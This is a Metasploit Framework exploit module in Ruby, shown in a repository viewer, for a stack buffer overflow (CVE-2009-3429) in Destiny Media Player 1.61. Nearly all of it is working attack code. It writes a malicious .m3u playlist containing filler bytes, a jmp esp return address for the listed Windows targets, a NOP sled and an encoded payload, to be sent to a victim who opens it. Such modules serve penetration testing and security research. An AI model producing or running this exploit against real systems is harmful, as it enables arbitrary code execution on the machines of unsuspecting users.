Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / fileformat / destinymediaplayer16.rb @ master

History | View | Annotate | Download (1.9 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GoodRanking
16

    
17
        include Msf::Exploit::FILEFORMAT
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Destiny Media Player 1.61 PLS M3U Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack-based buffer overflow in the Destiny Media Player 1.61.
24
                                        An attacker must send the file to victim and the victim must open the file. File-->Open Playlist
25
                        },
26
                        'License'        => MSF_LICENSE,
27
                        'Author'         => [ 'Trancek <trancek[at]yashira.org>' ],
28
                        'Version'        => '$Revision$',
29
                        'References'     =>
30
                                [
31
                                        [ 'CVE', '2009-3429' ],
32
                                        [ 'OSVDB', '53249' ],
33
                                        [ 'URL', 'http://www.milw0rm.com/exploits/7651' ],
34
                                        [ 'BID', '33091' ],
35
                                ],
36
                        'Payload'        =>
37
                                {
38
                                        'Space'    => 800,
39
                                        'BadChars' => "\x00\x0a\x0d\x3c\x22\x3e\x3d",
40
                                        'EncoderType'   => Msf::Encoder::Type::AlphanumMixed,
41
                                        'StackAdjustment' => -3500,
42
                                },
43
                        'Platform' => 'win',
44
                        'Targets'        =>
45
                                [
46
                                        # Tested ok patrickw 20090503
47
                                        [ 'Destiny Universal', { 'Ret' => 0x00bf9d4d } ], #jmp esp Destiny.exe
48
                                        [ 'Windows XP SP2 Spanish', { 'Ret' => 0x7c951eed } ], #jmp esp
49
                                ],
50
                        'Privileged'     => false,
51
                        'DisclosureDate' => 'Jan 03 2009',
52
                        'DefaultTarget'  => 0))
53

    
54
                register_options(
55
                        [
56
                                OptString.new('FILENAME', [ true, 'The file name.',  'exploit_destiny.m3u']),
57
                        ], self.class)
58

    
59
        end
60

    
61
        def exploit
62

    
63
                filepls = rand_text_alpha_upper(2052)
64
                filepls << [target.ret].pack('V')
65
                filepls << make_nops(10)
66
                filepls << payload.encoded
67
                print_status("Creating '#{datastore['FILENAME']}' file ...")
68

    
69
                file_create(filepls)
70

    
71
        end
72

    
73
end
74